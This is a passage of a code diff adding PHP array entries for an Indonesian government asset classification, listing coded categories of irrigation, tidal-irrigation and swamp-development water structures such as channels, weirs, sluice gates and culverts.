'BANGUNAN PENGAMBILAN BEBAS DGN POMPA (BGNAN PENGAMBILAN IRIGASI)', + ], + [ + 'id_aset' => 3487, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'SUMUR DENGAN POMPA (BANGUNAN PENGAMBILAN IRIGASI)', + ], + [ + 'id_aset' => 3488, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENGAMBILAN IRIGASI LAINNYA', + ], + [ + 'id_aset' => 3489, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PEMBAWA IRIGASI', + ], + [ + 'id_aset' => 3490, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'SALURAN MUKA (BANGUNAN PEMBAWA IRIGASI)', + ], + [ + 'id_aset' => 3491, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'SALURAN INDUK (BANGUNAN PEMBAWA IRIGASI)', + ], + [ + 'id_aset' => 3492, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'SALURAN SEKUNDER (BANGUNAN PEMBAWA IRIGASI)', + ], + [ + 'id_aset' => 3493, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'SALURAN TERSIER (BANGUNAN PEMBAWA IRIGASI)', + ], + [ + 'id_aset' => 3494, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'SALURAN KWARTER', + ], + [ + 'id_aset' => 3495, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '006', + 'nama' => 'SALURAN PASANG TERTUTUP/TEROWONGAN', + ], + [ + 'id_aset' => 3496, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '007', + 'nama' => 'SALURAN SUPLESI', + ], + [ + 'id_aset' => 3497, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PEMBAWA IRIGASI LAINNYA', + ], + [ + 'id_aset' => 3498, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PEMBUANG IRIGASI', + ], + [ + 'id_aset' => 3499, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'SALURAN INDUK PEMBUANG (BANGUNAN PEMBUANG IRIGASI)', + ], + [ + 'id_aset' => 3500, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'SALURAN SEKUNDER PEMBUANG (BANGUNAN PEMBUANG IRIGASI)', + ], + [ + 'id_aset' => 3501, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'SALURAN TERSIER PEMBUANG (BANGUNAN PEMBUANG IRIGASI)', + ], + [ + 'id_aset' => 3502, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PEMBUANG IRIGASI LAINNYA', + ], + [ + 'id_aset' => 3503, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGAMAN IRIGASI', + ], + [ + 'id_aset' => 3504, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANGGUL BANJIR (BANGUNAN PENGAMAN IRIGASI)', + ], + [ + 'id_aset' => 3505, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN PINTU AIR/KLEP (BANGUNAN PENGAMAN IRIGASI)', + ], + [ + 'id_aset' => 3506, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENGAMAN IRIGASI LAINNYA', + ], + [ + 'id_aset' => 3507, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PELENGKAP IRIGASI', + ], + [ + 'id_aset' => 3508, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN BAGI', + ], + [ + 'id_aset' => 3509, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN BAGI DAN SADAP (BANGUNAN PELENGKAP IRIGASI)', + ], + [ + 'id_aset' => 3510, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN SADAP (BANGUNAN PELENGKAP IRIGASI)', + ], + [ + 'id_aset' => 3511, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN GOT MIRING', + ], + [ + 'id_aset' => 3512, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '005', + 'nama' => 'BANGUNAN TERJUN (BANGUNAN PELENGKAP IRIGASI)', + ], + [ + 'id_aset' => 3513, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '006', + 'nama' => 'BANGUNAN TALANG (BANGUNAN PELENGKAP IRIGASI)', + ], + [ + 'id_aset' => 3514, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '007', + 'nama' => 'BANGUNAN SYPHON (BANGUNAN PELENGKAP IRIGASI)', + ], + [ + 'id_aset' => 3515, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '008', + 'nama' => 'BANGUNAN GORONG-GORONG (BANGUNAN PELENGKAP IRIGASI)', + ], + [ + 'id_aset' => 3516, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '009', + 'nama' => 'BANGUNAN PELIMPAH SAMPAH', + ], + [ + 'id_aset' => 3517, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '010', + 'nama' => 'BANGUNAN PENGELUARAN/PINTU', + ], + [ + 'id_aset' => 3518, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '011', + 'nama' => 'BANGUNAN BOX TERSIER (BANGUNAN PELENGKAP IRIGASI)', + ], + [ + 'id_aset' => 3519, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '012', + 'nama' => 'BANGUNAN PENGUKUR', + ], + [ + 'id_aset' => 3520, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '013', + 'nama' => 'BANGUNAN MANDI HEWAN', + ], + [ + 'id_aset' => 3521, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '014', + 'nama' => 'BANGUNAN PERTEMUAN SALURAN', + ], + [ + 'id_aset' => 3522, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '015', + 'nama' => 'BANGUNAN PELENGKAP DALAM PETAK TERSIER', + ], + [ + 'id_aset' => 3523, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '016', + 'nama' => 'BANGUNAN JEMBATAN (BANGUNAN PELENGKAP IRIGASI)', + ], + [ + 'id_aset' => 3524, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PELENGKAP IRIGASI LAINNYA', + ], + [ + 'id_aset' => 3525, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN SAWAH IRIGASI', + ], + [ + 'id_aset' => 3526, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN SAWAH IRIGASI TEHNIS', + ], + [ + 'id_aset' => 3527, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN SAWAH IRIGASI SEMI TEHNIS', + ], + [ + 'id_aset' => 3528, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN SAWAH IRIGASI NON TEHNIS', + ], + [ + 'id_aset' => 3529, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN SAWAH IRIGASI LAINNYA', + ], + [ + 'id_aset' => 3530, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN AIR IRIGASI LAINNYA', + ], + [ + 'id_aset' => 3531, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN AIR IRIGASI LAINNYA', + ], + [ + 'id_aset' => 3532, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGAIRAN PASANG SURUT', + ], + [ + 'id_aset' => 3533, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN WADUK PASANG SURUT', + ], + [ + 'id_aset' => 3534, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'WADUK PASANG SURUT', + ], + [ + 'id_aset' => 3535, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN WADUK PASANG SURUT LAINNYA', + ], + [ + 'id_aset' => 3536, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGAMBILAN PASANG SURUT', + ], + [ + 'id_aset' => 3537, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN BENDUNG DENGAN POMPA', + ], + [ + 'id_aset' => 3538, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN PENGAMBILAN BEBAS DGN POMPA (BGNAN PENGAMBILAN PSG SURUT', + ], + [ + 'id_aset' => 3539, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENGAMBILAN PASANG SURUT LAINNYA', + ], + [ + 'id_aset' => 3540, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PEMBAWA PASANG SURUT', + ], + [ + 'id_aset' => 3541, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'SALURAN MUKA (BANGUNAN PEMBAWA PASANG SURUT)', + ], + [ + 'id_aset' => 3542, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'SALURAN INDUK (BANGUNAN PEMBAWA PASANG SURUT)', + ], + [ + 'id_aset' => 3543, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'SALURAN SEKUNDER (BANGUNAN PEMBAWA PASANG SURUT)', + ], + [ + 'id_aset' => 3544, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'SALURAN TERSIER (BANGUNAN PEMBAWA PASANG SURUT)', + ], + [ + 'id_aset' => 3545, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'SALURAN PENYIMPAN AIR', + ], + [ + 'id_aset' => 3546, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '006', + 'nama' => 'SALURAN LALU LINTAS AIR', + ], + [ + 'id_aset' => 3547, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PEMBAWA PASANG SURUT LAINNYA', + ], + [ + 'id_aset' => 3548, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'SALURAN PEMBUANG PASANG SURUT', + ], + [ + 'id_aset' => 3549, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'SALURAN INDUK PEMBUANG (SALURAN PEMBUANG PASANG SURUT)', + ], + [ + 'id_aset' => 3550, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'SALURAN SEKUNDER PEMBUANG (SALURAN PEMBUANG PASANG SURUT)', + ], + [ + 'id_aset' => 3551, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'SALURAN TERSIER PEMBUANG (SALURAN PEMBUANG PASANG SURUT)', + ], + [ + 'id_aset' => 3552, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'SALURAN PENGUMPUL AIR', + ], + [ + 'id_aset' => 3553, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'SALURAN PEMBUANG PASANG SURUT LAINNYA', + ], + [ + 'id_aset' => 3554, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGAMAN PASANG SURUT', + ], + [ + 'id_aset' => 3555, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN PINTU AIR/KLEP (BANGUNAN PENGAMAN PASANG SURUT)', + ], + [ + 'id_aset' => 3556, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN PEMASUKAN/PEMBUANG', + ], + [ + 'id_aset' => 3557, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'KOLAM PASANG', + ], + [ + 'id_aset' => 3558, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENGAMAN PASANG SURUT LAINNYA', + ], + [ + 'id_aset' => 3559, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PELENGKAP PASANG SURUT', + ], + [ + 'id_aset' => 3560, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN JEMBATAN (BANGUNAN PELENGKAP PASANG SURUT)', + ], + [ + 'id_aset' => 3561, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN JEMBATAN PENGHALANG (BANGUNAN PELENGKAP PASANG SURUT)', + ], + [ + 'id_aset' => 3562, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN PENUTUP PENANGKIS KOTORAN', + ], + [ + 'id_aset' => 3563, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN PENGUKUR MUKA AIR (BANGUNAN PELENGKAP PASANG SURUT)', + ], + [ + 'id_aset' => 3564, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '005', + 'nama' => 'BANGUNAN PENGUKUR CURAH HUJAN (BANGUNAN PELENGKAP PASANG SURUT)', + ], + [ + 'id_aset' => 3565, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PELENGKAP PASANG SURUT LAINNYA', + ], + [ + 'id_aset' => 3566, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN SAWAH PASANG SURUT', + ], + [ + 'id_aset' => 3567, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN SAWAH PASANG SURUT TEKNIS', + ], + [ + 'id_aset' => 3568, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN SAWAH PASANG SURUT SEMI TEKNIS', + ], + [ + 'id_aset' => 3569, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN SAWAH PASANG SURUT NON TEKNIS', + ], + [ + 'id_aset' => 3570, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN SAWAH PASANG SURUT LAINNYA', + ], + [ + 'id_aset' => 3571, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGAIRAN PASANG SURUT LAINNYA', + ], + [ + 'id_aset' => 3572, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENGAIRAN PASANG SURUT LAINNYA', + ], + [ + 'id_aset' => 3573, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGEMBANGAN RAWA DAN POLDER', + ], + [ + 'id_aset' => 3574, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN WADUK PENGEMBANGAN RAWA', + ], + [ + 'id_aset' => 3575, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN WADUK', + ], + [ + 'id_aset' => 3576, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN WADUK PENGEMBANGAN RAWA LAINNYA', + ], + [ + 'id_aset' => 3577, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGAMBILAN PENGEMBANGAN RAWA', + ], + [ + 'id_aset' => 3578, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'WADUK PENGAMBILAN RAWA', + ], + [ + 'id_aset' => 3579, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENGAMBILAN PENGEMBANGAN RAWA LAINNYA', + ], + [ + 'id_aset' => 3580, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PEMBAWA PENGEMBANGAN RAWA', + ], + [ + 'id_aset' => 3581, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'SALURAN MUKA (BANGUNAN PEMBAWA PENGEMBANGAN RAWA)', + ], + [ + 'id_aset' => 3582, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'SALURAN INDUK (BANGUNAN PEMBAWA PENGEMBANGAN RAWA)', + ], + [ + 'id_aset' => 3583, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'SALURAN SEKUNDER (BANGUNAN PEMBAWA PENGEMBANGAN RAWA)', + ], + [ + 'id_aset' => 3584, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'SALURAN TERSIER (BANGUNAN PEMBAWA PENGEMBANGAN RAWA)', + ], + [ + 'id_aset' => 3585, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PEMBAWA PENGEMBANGAN RAWA LAINNYA', + ], + [ + 'id_aset' => 3586, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PEMBUANG PENGEMBANGAN RAWA', + ], + [ + 'id_aset' => 3587, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'SALURAN INDUK PEMBUANG (BANGUNAN PEMBUANG PENGEMBANGAN RAWA)', + ], + [ + 'id_aset' => 3588, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'SALURAN SEKUNDER PEMBUANG (BANGUNAN PEMBUANG PENGEMBANGAN RAWA)', + ], + [ + 'id_aset' => 3589, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'SALURAN TERSIER PEMBUANG (BANGUNAN PEMBUANG PENGEMBANGAN RAWA)', + ], + [ + 'id_aset' => 3590, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PEMBUANG PENGEMBANGAN RAWA LAINNYA', + ], + [ + 'id_aset' => 3591, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGAMAN PENGEMBANGAN RAWA', + ], + [ + 'id_aset' => 3592, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANGGUL KELILING', + ], + [ + 'id_aset' => 3593, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN PINTU AIR/KLEP (BANGUNAN PENGAMAN PENGEMBANGAN RAWA)', + ], + [ + 'id_aset' => 3594, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENGAMAN PENGEMBANGAN RAWA LAINNYA', + ], + [ + 'id_aset' => 3595, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PELENGKAP PENGEMBANGAN RAWA', + ], + [ + 'id_aset' => 3596, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN BAGI DAN SADAP (BANGUNAN PELENGKAP PENGEMBANGAN RAWA)', + ], + [ + 'id_aset' => 3597, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN SADAP (BANGUNAN PELENGKAP PENGEMBANGAN RAWA)', + ], + [ + 'id_aset' => 3598, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN TERJUN (BANGUNAN PELENGKAP PENGEMBANGAN RAWA)', + ], + [ + 'id_aset' => 3599, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN SYPHON (BANGUNAN PELENGKAP PENGEMBANGAN RAWA)', + ], + [ + 'id_aset' => 3600, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '005', + 'nama' => 'BANGUNAN GORONG-GORONG (BANGUNAN PELENGKAP PENGEMBANGAN RAWA)', + ], + [ + 'id_aset' => 3601, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '006', + 'nama' => 'BANGUNAN JEMBATAN (BANGUNAN PELENGKAP PENGEMBANGAN RAWA)', + ], + [ + 'id_aset' => 3602, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '007', + 'nama' => 'BANGUNAN JEMBATAN PENGHALANG (BGNAN PELENGKAP PENGEMBANGAN RAWA)', + ], + [ + 'id_aset' => 3603, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '008', + 'nama' => 'BANGUNAN PENGUKUR MUKA AIR (BANGUNAN PELENGKAP PENGEMBANGAN RAWA)', + ], + [ + 'id_aset' => 3604, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '009', + 'nama' => 'BANGUNAN PENGUKUR CURAH HUJAN (BGNAN PELENGKAP PENGEMBANGAN RAWA)', + ], + [ + 'id_aset' => 3605, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 